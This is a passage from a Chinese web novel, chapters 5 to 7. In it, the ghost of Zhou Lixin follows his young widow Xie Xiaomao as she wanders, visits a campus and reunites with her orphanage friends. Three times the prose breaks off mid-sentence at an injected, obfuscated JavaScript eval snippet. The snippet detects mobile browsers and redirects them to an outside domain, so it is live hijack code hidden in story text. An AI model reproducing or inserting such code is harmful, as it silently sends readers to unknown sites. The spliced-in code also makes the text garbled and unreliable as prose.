周礼信望着她的眼睛，那份淡漠中透着清澈，即便如今他只是一缕飘魂，感知已大不如前，却仍能想起当初心动的瞬间。 小猫还是只望着烤鸭不说话。 老板看得出来她没什么钱，便不再搭理，坐在门口的摇椅上刷起了短视频。 谢小猫摸了摸口袋，翻了半天找出十多块钱，伸手递给老板。 一只烤鸭三十多块，她想用这些钱换一半。 老板倒是爽快，取了一只烤鸭切下半只，用油纸包好递给她。 谢小猫接过烤鸭，没有立刻吃。 周礼信站在旁边看了下妻子的脸，不应该啊，算算日子，昨天走了一天，晚上怎么吃饭便睡下了。 她消化快，食量也大，向来容易饿。 小猫之前和他说过，她吃东西很慢，需要细嚼慢咽慢慢品尝味道，但是却会吃很久。 她永远都感觉到很饿很饿。 现在怎么不吃了？ 周礼信立刻心疼的不行。 他知道小猫一路走来风餐露宿，知道她营养不良，知道她像动物本能一样，只要有一口气就会为了寻找吃的生存下去。 她读书少，识字不多，少言寡语，又向往自由，不会甘心困在几十平米的房子里一辈子工作。 周礼信的鬼魂跟随着小猫，看着她捧着半只烤鸭，走到一棵老槐树下坐下。 她小心翼翼地打开油纸包，却没有立刻动口，只是盯着烤鸭看了很久。 阳光透过树叶的缝隙洒在她身上，微风吹过，仿佛让一个低沉的少女活跃起来。 谢小猫终于伸出手指，轻轻碰了碰烤鸭皮，沾了一点油渍，放进嘴里吮吸着。 她很满足，很开心。 眼睛却一直飘向前方。 周礼信忽然觉得自己多虑了，她本就不是多情的人，大概不会轻易喜欢上别人。 她爱吃，贪睡，无心。 那么，忘了他就忘了吧。 遇到他之前的十九年，谢小猫过着怎样的日子，周礼信连想都不敢想。 他不是救世主，没能参与她的过去，自然没资格要求她永远想念他、怀念他，甚至为他的死痛不欲生、痛哭流涕。 只是，他会很难过，很失望。 一年前遇见小猫时，周礼信刚谈完事，坐在落地窗边喝咖啡。 远远就看见一个少年来回游荡。 大约是注意到有人注视，扭过头看向了窗户里穿着体面的男人。 谢小猫慢慢走到玻璃窗前，眼睛直直地看向他。 这是他们的第一次对视，彼时眼中没有任何情愫。 小猫看了眼他桌上的蛋糕，又看了看他，仿佛明白彼此是两个世界的人，便转身坐在了旁边的公共座椅上。 这个女孩一坐就是两个小时，直到周礼信快下班时，还看见她在附近游荡。 微微弯着腰，很像饿极的状态。 他会对孤零零的女孩子产生怜悯之心，也会好奇，控制不住地频频望向她。 最后买了一杯咖啡和一块很贵的蛋糕走了过去。 谢小猫仰起头看他，又看了下蛋糕和咖啡，确定不喜欢，微微的摇了摇头。 现在的乞丐还挺挑剔。 人物质生活得到满足后，总会追求这些大善大美的事，周礼信微笑着问：“你是外地来的？是上学还是打工？没吃东西吗？有没有手机，要不要给父母打个电话？” 一连串的问题没能在她脸上激起波澜。 他继续说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不一会儿在垃圾桶前站定，从口袋里掏出一团皱巴巴的油纸，轻轻丢了进去。 那是包烤鸭的纸。 周礼信突然注意到，她走路时右手一直按着胃部。 是饿太久突然吃油腻的难受吗？ 他猛地想起去年冬天，小猫半夜胃痛到蜷成一团的样子。 那天他连夜送她去医院，医生说长期饮食不规律引发了胃炎。 曾经还以为这个一向身体健康，一向没有头疼发热的人不会生病呢。 周礼信很紧张。 深爱的时候，她那怕被割破小口子也会悲伤难过。 他反复叮嘱妻子：“要按时吃饭，不然会恶化的，恶化就不能和老公一起出去吃东西。” 小猫那时乖乖点了头。 小猫乖乖听话的样子让他极度的怜惜和喜爱。 他特意设了两个闹钟，早上和中午的吃饭时间一到，就会响起悠扬的轻音乐提醒她吃饭。 可现在，没人催她了。 谢小猫走到公交站，盯着路线图看了很久。 图上的路线全是陌生的名字，这里与他们曾经的家，已经隔了太远太远。 5. 第 5 章 周礼信看着小猫盯着路牌的神态有些蔫蔫的，不知道是不是刚才的烤鸭不合她胃口。 很快她从路牌上移开了视线，走到一旁的候车位坐下，眼睛望着前方，眼神放空。 大概是没什么目的地吧。 她在想什么呢？ 有没有想他呢？ 跟着妻子的这两天，她好像和从前一样，脸上很少有什么表情。 那么，她曾经爱过他吗？ 周礼信在她身边坐下，一同望着来来往往的车辆。 谢小猫手一直伸进包里，她有点紧张，呼吸微微急促。 最终，她还是什么都没拿出来。 一辆公交车缓缓驶来，小猫起身选择了上车。 真不容易，这次她居然选了坐公交车，不再徒步旅行。 公交车的路线指向另一座城市，一座很美的旅游城市。 谢小猫的口袋像多啦A梦的百宝袋，她摸索着掏出十块钱投了进去。 现在都用微信扫码了，她还这么不跟潮流。 从前周礼信耐着性子教了她好多次，可谢小猫总是不愿意学。 不想教了，有他在，她也不会管这些的。 周礼信捏着小猫的鼻子问：“以后我出差你在家怎么办呢？” 小猫眨着双眸望他，轻声说:“等你。” “等我什么？”周礼信笑着看向她，手掐住她的腰，“你是等我回来一起吃饭吗？” 谢小猫乖乖点头。 “我回来可是要两天呢，你不会饿着吗？” 小猫摇摇头。 周礼信心里一阵发软心疼。 他猜想，小猫以前流浪的时候，肯定常常很久才吃一顿饱饭。 于是每次出差前，他都会带她去逛超市。 以前他从不来山姆，一个人是真吃不了那么多，更不喜欢堆积食物。 可自从有了妻子，他总想着把所有好东西都给她，让她尝遍所有美味。 大概是第一次见到这样琳琅满目的场景，小猫东瞅西看，不知道该选什么，加上人多，她有些害怕，一直紧紧躲在周礼信身后。 周礼信顺势握住她的手，大拇指反复摩挲着她软软的手背，真的好光滑，好舒服。 他低声说：“要是害怕，就抓紧我的手，没人敢欺负你。” 小猫被他摸得有些不自在，却没有挣开，而且身体还一直挨着他，似乎真怕陌生人。 直到走进熟食区才松开手，指了指猪蹄。 又指了指烤鸡。 接着翅根。 猪肘。 周礼信默默地看着她，试探的问：“小猫，要点蔬菜吗？” 她摇头。 “人体机能需要维生素的，都补充点吧。” 她还是不说话。 周礼信搂住她的腰，带着点撒娇的语气说：“老婆，你听听我的话吧。” 谢小猫惊讶地看了他一眼，随即低下头盯着地板，不再作声。 大约是觉得这个人高马大的男人日常表现的和煦如风，偶尔还冷静自持，怎么突然变性了？ 居然学会撒娇了。 见她不回应，周礼信便自作主张买了些青菜、长杆西兰苔、板栗薯、茭白、西蓝花和胡萝卜。 总之，他出一趟差，给她准备的食物足够她“冬眠”一次了。 周礼信知道她不会用家用电器，就提前把食物做好放在保温锅里，她取出来的时候还是温热的。 烤鸡盘子里特意堆上西兰苔，要求她必须全部吃光。 小猫懒散地窝在沙发上睡觉，男人就在厨房“叮叮咣咣”响个不停。 结婚半年，她也就会打开高压锅，保温锅，会打开双开冰箱。 其他，眼皮都不看一眼，一点都不想学会。 真的像一只高冷又慵懒的大白猫。 周礼信怀念着和她在一起的日子，现在想起来都忍不住觉得幸福又美满。 一时失神间，公交车已经开走了，他竟没反应过来。 魂魄瞬间追了上去，从车窗飘进了车厢。 车上人不多，小猫选了后排靠窗的位置坐下。 周礼信仿佛也能歇歇了，灵魂在她身边坐下。 尽情的观察着她，抚摸着她的脸，甚至头贴在她的身体，那怕不能感知一分。 他永远都看不够她，也永远不会厌倦。 小猫的眼睛一直望着窗外，那眼神里藏着什么呢？ 似乎有些失望。 这样的眼神，周礼信从未见过。 恋爱几个月，结婚半年，她总会淡漠的看着他，即便在行夫妻之事时，她会发出像猫叫一样的轻吟，可结束后总会立刻闭上嘴，露出一副无辜的表情。 好像自己真欺负她一样。 难得两人，不，该说是一人一鬼，终于有了片刻休憩的时光。 他们第一次并肩坐上公交车，一起迎着窗外吹来的清爽晚风。 即便周礼信早已感觉不到风的温度，可看着小猫被风扬起的发丝，也能猜到那份拂过肌肤的惬意。 他心里泛起一阵悔意，后悔从前没有陪她一起乘地铁、坐公交，哪怕只是去郊外爬山也好。 这样不会有那么多的遗憾，也不会像现在这样感受不到一起吹过风的味道。 两人稍微安静一会儿，停靠站台时，原本冷清的公交车一下子热闹起来。 上来一群像是从郊区大学赶往市区的学生。 很快，一个阳光的男生走到谢小猫身边，询问能否坐下。 周礼信的魂魄就这么与他重叠交错在一起。 那男生看起来二十岁左右，浑身洋溢着青春的气息。 小猫扭过头看向这个男生。 男生很礼貌的说：“这里没人吧。” 她轻轻的“嗯”了一声。 周礼信描绘不出妻子什么表情，她好像陷入了幻想。 男生大概是被她一直盯着看，脸颊微微泛红，低下头继续刷着朋友圈。 过了一会儿，小猫主动开口问他：“你是大学生吗？” “嗯，我们是隔壁理工大学的，同学你也是吗？是师妹吗？” 小猫很少和人接触，没有回答他这个问题。 她有些自言自语的说：“大学生会做什么呢？” 大约她长得年幼又可爱，同学倒是很耐心和她交流：“平时上完课就泡实验室，我们理工科天天跟仪器打交道，偶尔跟室友开黑打两局游戏，周末去市区吃顿火锅，就算放松了。” “最近快校庆了，社团忙着排练节目，晚上操场全是练合唱的，还有摆摊卖文创的，热闹得很。对了，我们宿舍还攒钱买了个小烤箱，周末轮流烤饼干，虽然经常烤糊。” 他说着自己先笑起来，眼里闪着鲜活的光。 谢小猫眼睛里也有光。 她望着他年轻的侧脸，轻声道：“听起来……很热闹。” “是啊，”男生没察觉她语气里的怅然，“虽然偶尔也会烦考试周，但现在想想，大概是这辈子最自由的日子了。你们学校也这样吧？” 小猫轻声说：“我不识字。” 男生有些惊讶的说：“不会吧，都什么年代的，太夸张了。” 小猫陷入沉思，眼神飘忽在车内一群大学生偶尔的交谈声中。 男同学像是打开了话匣子，语气也天真起来：“你为什么不读书呢？是家里重男轻女吗？你还想继续上学吗？” 谢小猫从来不爱与人交流，她淡漠地看着那同学，大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317621|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概很难回答这个问题。 二十年前的事，她没有资格选择，应该也不喜欢被关在教室里。 她没有期许过未来，因为从未见过大城市的白领、有钱人到底过着怎样的生活。 知道也不向往。 她只想流浪，去很远很远的地方。 对生命没有敬重，觉得任何时候死去都可以，并不在乎。 大概就是如此，所以周礼信死后，她没有伤心，没有难过，像经历了一件再普通不过的事。 周礼信的魂魄先飘在窗外，而后落在公交车顶上。 盘旋片刻，正准备离开，却发现小猫下了车。 公交车才驶出几公里，天色就转阴了，淅淅沥沥下起了濛濛细雨。 谢小猫似乎对这样的阴雨天早已习惯，她没有躲藏，也没有加快脚步，依旧以平常的速度往前走着。 前方是另外几所大学，她随着学生一同向前走去。 小猫从前流浪时，脚步从无定所，不过确实走过小学，中学，大学的门口。 二十岁左右的大学生，正是对弱小最富怜惜的年纪，手头也有几分闲钱，总会主动给她买些吃食。 所以在谢小猫眼里，他们是活在富贵里的人，更是格外大方的人。 和周礼信结婚前，他的大学同学曾来看望过他们夫妻。 丈夫和同学聊天时描绘大学的生活，很轻松很快乐，仿佛是人生中最明媚的时光。 小猫从未体会过这样的日子，没有体会，自然谈不上向往与否。 只是丈夫曾经说，他一直很想念大学的日子，那时候很自由，很快乐，没有高中的苦闷，整个人都很轻松。 在她想来，那大约就是天堂了。 谢小猫想去感受一下，那究竟是不是传说中的天堂。 大学的门是敞开着，小猫随着一群学生进入。 四处看看，发现也没有特别稀奇的地方。 四处打量，倒没发现什么特别稀奇的地方，只是第一次见到这么多年轻的男男女女，个个青春洋溢，白净又漂亮。 唯一让她心头泛起波澜的，是学校湖边的树林里，情侣们可以光明正大地接吻，哪怕此刻正是白天。 周礼信以为她来大学是在游玩，直到脚步停留在情侣湖才看出小猫的表情，不脸红，不心跳，应该是怀念吧。 她是在怀念和自己亲吻的时刻吗？ 第一次撕咬她后，谢小猫离他而去好多天。 找回来后，他哪里还敢光明正大地亲吻？ 每次回家都要哄着、顺着，想让她主动亲亲自己，却好像总也骗不到她。 即便成了未婚夫妇，小猫对他依旧淡淡的。 他真的很想和她发生更进一步的亲密关系，和爱的人同住一个屋檐下，难免会有荷尔蒙涌动的冲动。 此女每次亲近时总是睁着大眼睛盯着他，一动不动。 周礼信起初只是碰一下她的腰，她就扭来扭去地躲开。 大约是觉得自己表现的急切，这时候就是长得再帅也没用，因为她似乎看不出人好看难看！ 周礼信每次都需要说很多很多话劝慰，比如： “小猫，情侣和夫妻要是喜欢得紧了，就会想有身体接触，想亲吻，想做更多亲密的事，你没有过这样的感觉吗？” “你有没有……有没有在我很久不回来时想念我？就是躺在沙发上睁开眼，脑海里先浮现出我的样子？” 谢小猫柔柔地看着他，始终不言语。 她的眼睛真的好明亮、好漂亮，周礼信一时看得入了迷，身体又凑近了些，低声问：“现在你想亲亲我吗？” 无论他怎么引导，小猫都一副不谙世事的模样。 或许她是真的不懂这些。 6. 第 6 章 长了十多岁，她的日子始终在为生活奔波、为生存盘算，哪里有心思琢磨爱情和男女之事？ 即便青春期有过朦胧的生理反应，也没人教她这是什么意思，更何况，她连生物课都没学过。 周礼信从小家境优越，一路升学、保研，家教良好，人生顺风顺水。 所以他会比她更天真，想拥有纯粹美好预想中的爱情。 事实，小猫完全不符合他理想中想要的女友形象。可是当遇见一个人时，莫名深爱时，直接跳过了女友这个角色，认定她就是要共度一生的妻子。 而“妻子”的模样就是她出现自动塑造，无需预设。 小猫看着他引导半天却失望躺回地毯的样子，终于轻轻开口：“你别生气。” 周礼信立刻坐起身，笑着说：“我不生气，我喜欢你，怎么会生气呢？让我亲亲你吧。” 她垂下眼眸，勉强应了句：“好吧。” 他立刻将她揽入怀中。 外面冷冷的秋风，屋里的地毯暖暖的。 周礼信双手抚上她的脸，从轻柔的抚摸到细细的揉捏。 怎么看怎么摸都不够。 不过几个月时间，曾经清瘦的小姑娘，已经变得软软的。 她就这么任由他摸着，一动不动。 好一会儿过后，未来得及准备，他抚着她的脸低头亲吻上去，温柔的触碰转瞬化作汹涌的热意。 谢小猫感觉后颈、身体被牢牢扣着好不舒服，而且他舌尖探入一直不停的转来转去，实在令人不解。 不过，她想吃肉，想跟他一起吃肉，只能被动承受。 她知道男人力气重，使不完的劲，以前一起流浪的小男孩整日打架跑来跑去不停歇。 不知过了多久，好不容易亲完，谢小猫感觉浑身发软，身体不由得倾斜着靠在他身上。 周礼信看着她唇瓣红肿、眼神迷蒙，喉结滚动，再次低头吻下。 这场迟来的亲吻让他得到了足够的满足，之后上班的三天里都在沉浸其中。 那么现在呢？ 小猫看着出双入对的情侣，暧昧亲吻的情人也会怀念他们吗？ 周礼信感觉自己有些患得患失，是不是一路走来太顺遂，所以执着于她爱不爱自己，是否想念他？ 可是死的这些天，他的妻子早已离开了他们的城市，甚至都没有再去送一朵花。 雨还在下着，她的头发贴在脸颊上，雨水慢慢顺着脖颈往下流。 周礼信就这样看着小猫慢慢走出校园，又恢复日常的表情。 小猫坐上公交车，至此没有再下来。 不知过了多久，公车公郊区穿到乡村又到郊区，在城市的边缘停下。 下了车，雨已经停了。 空气中弥漫着泥土和青草的气息，远处是连绵的山影，侧边有一片片高楼，近处是稀疏的几户人家。 她沿着小路往前走，脚步轻缓，像是漫无目的，又像是早已有了方向。 周礼信跟在她身后，看着她柔弱的背影，心里涌起一阵酸涩。 他记得她说过，小时候最怕走夜路，因为总是有野狗追着她叫。 可现在，她一个人走在这样偏僻的地方，却显得那么平静。 经历了多少年，才可以这样勇敢的走下去呢？ “小猫……”他轻声唤她，明知她听不见。 谢小猫忽然停下脚步，蹲下身，从路边摘了一朵野花。那花小小的，白色的花瓣，黄色的花蕊，在风中轻轻摇曳。 她盯着花看了一会儿，然后把它别在了耳后。 真的很俏皮，很美丽。 周礼信愣住了。 一直以为她是对任何东西都失去兴趣的人，却没想到还有少女的天真。 小猫站起身，继续往前走。 已经过了中午，看着光线应该有两三点钟，她有没有饿呢？ 这里是江南地区，到处都是水。 小猫走到一座小桥边，桥下是潺潺的溪水 大概走累了，渴了。 她很自然的走下去到小溪边，双手捧着溪水喝了几口。 不如多年前的清澈甘甜！ 喝足便坐在桥墩上，望着流水发呆。 周礼信飘在她身边，虽然无法触碰，但还是想陪着她。 “小猫，你在想什么？”他像自言自语。 小猫看着鱼儿，眼神柔和。忽然，她开口了，声音很轻，像是在自言自语： “你说……鱼会记得喂它的人吗？” 周礼信一震，转头看她。 她的侧脸在忽而出来的太阳中显得格外柔和。 “小猫，你会记得吗？”他看向她，“你会记得我吗？会什么时候把我忘记呢？” 小猫似乎听到了什么，微微偏头。 周礼信知道，她不会看见，不会觉察，在她眼中，身边只是又一阵轻风吹过，不会有任何人。 小猫突然打了个喷嚏。 她揉了揉鼻子，从桥墩上站起来，拍了拍沾着青苔的裤腿。 走了一会儿，小猫从包里取出湿巾，蹲下身，小心翼翼地擦拭着刚才踏入草丛时沾上的泥点。 这双小白鞋，是不久前周礼信送给她的。 她喜欢穿帆布鞋，喜欢穿宽松的牛仔裤，喜欢用皮筋扎起挽起的头发。 周礼信会给她买很多鞋，很多头花，很多发卡。 想把一切好看的饰品都给她。 “我不喜欢你买的这双鞋，真容易脏啊。” 周礼信听到小猫的自言自语。 跟了她这么久，这还是第一次从她嘴里听到哪怕一点点关于他的事。 这双小白鞋明明很好看呀？ 现在到处都是公路，没多少土路，为什么还会担心弄脏呢？ 她穿小白鞋很可爱，更像一直白猫了。 小猫擦完鞋，没有像以前一样把湿巾随手扔掉。 她仔细折好，放回包里。 那是周礼信教她的习惯。 风渐渐大了起来，吹乱了她松松挽着的头发。 几缕发丝黏在嘴角，她随手去拨，指尖刚碰到嘴唇，却突然顿住了。 “小猫，小猫！” 远处有两三位少年朝这边招手。 周礼信顺着声音望过去，那些人一女两男，看着年龄都不算大，应该和小猫是同龄。 小猫抬起头，眯起眼睛辨认了一会儿，满脸的震惊和惊喜。 小跑着迎上去。 周礼信从未见过她这样雀跃的样子，像一只终于找到同伴的流浪猫。 四个人围在一起，拉着手转圈圈。 他们都很快乐，很兴奋，却又带着几分内敛。 “小猫，你看样子变得不一样了呀？好像，漂亮了哟。” 他们交流用的都是方言，周礼信一句也听不懂。 小猫：“都过去两三年了。” 小花说道：“是啊，很久了呢，我们找了你几个月，还以为你死了呢。” 几个人随意的说着话。 小猫兴致很好，四个人边走边聊，好像话永远说不完，不知不觉来到了银行门口。 周礼信原本以为她不会处理这些事，没想到她很快就取出了一些钱。 几个同伴看到她手里的几千块钱，乐得几乎要跳起来。 他们先去简单买了几件衣服，又到超市里疯狂采购。 不过，或许是长期过着简朴的生活，他们并没买什么贵的东西。 所以没花几百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317622|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块钱。 提着大包小包的食物走出超市后，他们来到郊外不远的山坡上，一边看着远处的山水，一边闲聊。 风掠过山坡，掀起零食包装袋的边角。 谢小猫按住飘飞的塑料袋，看着三个朋友像饿狼般撕开包装。 小花看谢小猫没有和他们一样狼吞虎咽，笑着说：“小猫，你好像变了很多呢，这两年多在哪里呢？” 小猫淡淡笑了笑，不知该如何回应。 福利院着火后，他们都逃了出来，一晃许多年过去，一起逃出来的人死的死，失踪的失踪，也有被亲生父母找到后过上普通人生活的。 他们四人也是分分合合。 如今都已成年，各自经历过不同的生活，虽不如儿时那般亲密无间，却仍存着几分玩伴情谊。 小虎灌下半瓶可乐，打了个响亮的嗝：“小猫你现在说话调调都不一样了，像城里人。” “她本来可以成为城里人呀。”小花插话，眼睛却盯着小猫笑道：“只是运气不好，掉进了我们这个老鼠洞。” 小猫从不在意自己的身世，她从来不关心，也不想知道，更不想探究。 被抛弃了，那么就没必要回去，那对父母是高官富商还是平民百姓，都与她无关。 年轻的男女们随意聊着这些年的见闻，只有小猫沉默着没怎么接话。 周礼信听不懂他们在说什么，但看得出小猫心情还不错，魂魄就离开了。 小花从塑料袋里摸出一包薄荷糖，自己含了一颗，又递给小猫一颗。 小猫盯着那颗浅绿色的糖，忽然想起很多年前，逃离福利院的夏天，他们几个孩子到处捡破铜烂铁，只为凑钱买一包糖，躲在锅炉房后面分着吃的情景。 那时候连糖纸都要舔干净。 “不要？”小花晃了晃手。 小猫接过来，糖纸在她指尖沙沙作响。 她剥开糖纸，却没有吃，只是盯着糖块上细密的纹路。 “你现在住哪儿？”小花问。 小猫把糖含进嘴里，清凉的薄荷味瞬间在舌尖漫开。 她眯起眼睛，像是被这味道刺到了。 “一个朋友家。”她含糊地说。 “朋友？”小花惊讶的问道，“你交到朋友了？他是正常人家吗？” 在她们的语境里，问“住在哪”，其实是问“睡在哪个草窝”，而非真正意义上的“住所”。 小猫没再答话。 小花了解小猫，她越是不愿多说的事，里面藏着的东西就越多。 比如，她为什么有这么多钱，为什么变得更沉默，脸上没了以前那种高冷到不屑一顾任何人的表情。 “你还记得老院长吗？”小虎凑过来突然问谢小猫。 小猫的手指无意识地捏紧了糖纸：“记得。” “去年死了，肺癌。” 小猫没说话，引不起什么波澜。 死就死呗，反正她见过的死亡已经够多了。 “葬礼上来了好多人，都是以前院里的孩子，小虎也去了。”小花笑了笑，“你猜怎么着？几年前有人捐钱重修了福利院，不过里面的孩子全是残废生病的，像所医院，到处都是消毒水味。” 小猫抬起眼。 “是个大老板，说是来''回馈社会''。”小虎耸耸肩，“鬼知道是不是亏心事做多了。” 当年他们的福利院是单位联合政府修建的，三分之二是被遗弃的女孩子，剩下三分之一的男生里，一半是残疾的。 像小虎这样健康的，已经很少见了。 “我结婚了。” 小猫突然开口，让整个山坡的风仿佛都静止了。 看着其他三人震惊的表情，小猫笑了笑：“不过老公已经死了。” 7. 第 7 章 这信息来得炸裂的很。 幸好周礼信见她安然无恙，魂魄归位已经离开，也少了很多的执念。 不然，听此语气怕是又要心绞痛了。 三人震惊过后，慢慢缓过神来。 在他们眼中，结婚是件很遥远的事，他们认知里的婚姻，大概只会发生在小花与小虎这样同是流浪的人之间，唯有同类才可能有结果。 从小猫的衣着打扮和神态来看，她嫁的应该是正常生活的人。 小花仔细打量着她，发现她脸上并没有什么伤心神色，看样子她拿到的钱，就是死去丈夫的遗产挺开心的。 “那也不赖，可以拿到一笔钱呀。” 小虎蹲在地上，用烟头烫着可乐瓶，塑料融化发出刺鼻气味。他抬头看谢小猫：“有小孩吗？” “没有，我们只结婚了188天。” “啊？那你男人怎么死的？我们不会真的是扫把星吧！” 小花这么说，是因为以前孤儿院照顾她们的叔叔，总骂她们是扫把星、祸害精。 想必她们真的会克死别人吧？ 好不容易能结婚，居然半年就守了寡。 小猫低声说：“我不知道。” 他们每个人都很好奇，好奇婚姻是什么，好奇她找了什么对象，其中还掺杂着一点点不易察觉的嫉妒。 他们这群被遗弃的人，社会不会注意到的角落里，怎么会有人看得上、会喜欢呢？ 对于这群无家可归的年轻女孩来说，嫁人似乎就意味着给别人生孩子、照顾公公婆婆、喂猪喂羊，要么就是跟着一起外出打工。 以前遇到的很多嫁出去的孤儿姐姐都是这样的。 听着日子很辛苦，不如现在自在，可那些姐姐却说，这样的日子已经很好很好，她们都很满足。 小花把可乐瓶捏得噼啪作响，塑料在她掌心扭曲变形。 她盯着谢小猫的眼睛，声音压得很低：“他打你吗？” 小猫知道她什么意思。 她们这些嫁出去的人，因为没有娘家依靠，不识字、读书少，多少都挨过打。 小花比她大两三岁，却从未考虑过找个人家随便嫁了，她畏惧被打骂的日子。 总以为她们这种出身的女孩都会经历这些。 这样想来，小猫很幸福，很快乐，不是吗？ 她没有经历过这些。 不知怎么，小猫敏感的心思被戳破，心里涌上一种说不出的滋味。 那个男人已经死了。 可他对她真的很好很好，好到现在回想起来都觉得像一场梦。 是啊，她该向谁证明他来过她的人生、走进过她的心灵呢？ 无法证明。 因为他永远消失了，不会再回来，而她自己也没有资格再回到那个见证过他们亲密关系的家庭。 小猫此刻却无法兴高采烈地描绘那个男人对她有多痴迷、多喜欢、多关爱，无法诉说自己那段日子究竟过成了什么样。 “他不打人，很文雅。” 小花盯着小猫看了看，笑道：“该不会读过高中吧，老师教授这种才叫文雅呢。” 她又摸了摸小猫的衬衫，“他给你买的新衣服？” 谢小猫点了点头。 小虎“嗤笑”一声，用鞋跟碾灭烟头：“你真厉害呀，还能让男人给你花钱。不像我们，穿的都是别人捐剩下的破布。” 小猫不知道该说什么。 想再多、说再多，她的丈夫都已经死了。 而且，她从来没有炫耀的意思。 这些天一路走来，她心里很空，好像什么都想不起来。 与他相遇的种种，居然一件都回忆不起细节。 几个人吃完站了起来。 下过雨的天空，蓝天白云格外清晰，很漂亮。 他们站在山坡上，沉默着望向远方。 人长大了，有各自敏感独有心事，也有属于自己的生活，再也不会像小时候那样无忧无虑。 小花看得出，小猫不会再和他们同行，于是拉着她的手走在小路最前面，在离别之前还想问很多问题。 她好像对婚姻既充满好奇与向往，又恐惧着未知的一切。 “小猫，结婚是什么感觉呢？是睡在一个被窝吗？” 小猫该怎么回答呢？ 她也不知道婚姻究竟是什么，就那么稀里糊涂地结了婚。 小花见她犹豫，又问：“就是，你婆婆会为难你吗？每天需要洗衣服吗？我们都不太识字，又野惯了，到了别人家真的能待下去吗？我听小草姐说，她每天都要早起给公公婆婆做饭。” 小猫轻声说：“没有，他父母不在身边。” 小花撞了下她的肩膀，小声问：“你老公对你温柔不？……舒服不？” 谢小猫：“......” 原本就复杂的心情，被问这些话，挺冒昧的。 一开始的确说不上来爽快，就像最初和这个男人接吻时那样，口齿交缠不清，很像动物，就觉得懵懵的，又不知道这是在做什么，所以谈不上舒服还是不舒服。 等真的投入了感情，吃的肉太多肯定会有心虚的感觉，何况他又那样温柔。 后来再接吻，便会觉得很享受、很喜欢，那种喜欢能让人忘却被揉搓的疼痛，忽略脖颈上的咬痕，沉浸在未知的情愫里无法自拔。 她想，她是喜欢的。 窝在他怀里时，很舒服，也很温暖。 他身上的气息很好闻，令人迷醉。 本以为这些亲密的动作已经足够表达爱意，直到新婚夜，才发现了更多未曾知晓的秘密。 他们小时候见过别人结婚，也曾和那群孩子一起趴在窗户上凑热闹。 可那时候根本不懂要看什么、听什么。 直到自己结婚，才明白当初要听的是什么，要做的又是什么。 小猫从来不知道结婚要做这些事，和他融为一体时，只觉得身体和脑子都在冒金星，整个人都傻掉了。 他一点都不像平时那样温柔、风度，嘴上说着轻轻的，却越来越莽撞，拱得她腰都弯了，总觉得自己要死在床上。 死在他身下，身体被穿透。 早知道结婚要做这些，她当初就该忍忍自己的馋，不答应嫁给他了。 这些心思，她是不会说的。 小猫向来不喜欢把自己的隐私讲给别人听。 小花见状叹了口气，说道：“你长得好看，肯定招男人喜欢呀。小虎喜欢你，之前的狸猫也喜欢你，你能和那男人结婚，肯定是他看上你的长相了。” 小猫摇摇头：“不是的。” 小猫觉得周礼信什么女同学没见过，肯定有很多漂亮的女生，怎么会单单看上她的长相呢？ 况且他们初遇时，小猫跟假小子一样，灰头土脸。 可他就是那样的喜欢她！ 他为什么要喜欢她呢？ 小猫又陷入沉思。 以前照顾她们的阿姨总说，谢小猫就像一只半生不死、养不熟的冷血动物，没必要对她好，她不会领情的。 “他觉得我像个宠物，随手豢养着。”谢小猫胡诌的说道，“可能我不影响他做别的事吧。” 这些话，恰好一字不落的飘进了刚刚归来的周礼信耳中。 一阵无语，一股难以言喻的气闷与荒谬感直冲魂魄。 立刻飘到小猫跟前，魂魄凝出的身形透着几分虚幻伤心，死死盯着她，声音里满是难以置信的委屈与愠怒：“你这个没良心的人！我何时把你宠物！” 天天亲亲抱抱举高高，恨不得捧在手心，每回在床上，都要看着她脸色的变化，学习愉悦的技术，就想着让她舒坦尽兴，看到她露出一点开心脸上才会微微欺负一下。 结果她倒好，居然在旁人面前这般胡编乱造。 真是可恶的很呀！ 怒火攻心的鬼魂周礼信忍不住对着小猫的背影低吼一声。 小猫正说得兴起，冷不防背后一阵寒意袭来，仿佛瞬间被投入冰窖，浑身汗毛倒竖，打了个大大的寒颤。 旁边的小花也被这突如其来的冷风弄得一愣。 她下意识地抬头望了望头顶火辣辣的太阳，嘀咕道：“怎么刮来这么一股子阴嗖嗖的冷风，跟见了鬼似的……” 小猫四下看看，最后目光锁定在那片有些诡异的空气前。 她 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“你不知道？”小花惊呼一声，“你不知道他怎么死的？不知道他到底有没有什么遗愿？别告诉我，他死后你就离家出走了。就算这样，也该隔几天去扫墓送花呀，不然他会变成厉鬼，让你下半辈子都不得安生的！好歹是夫妻，该做的事总得做吧？不然将来你再嫁别人，他肯定不会放过你后来的老公和孩子的。” “......” 小猫一开始心里还泛起丝丝寒意，可听完小花这番话，反而不怎么紧张了。 “我没打算结婚。” “那你当初为什么要跟他结婚呢？” 小猫想了想，说道：“我是被迫的。” 周礼信听了，又想刮起一阵阴风了。 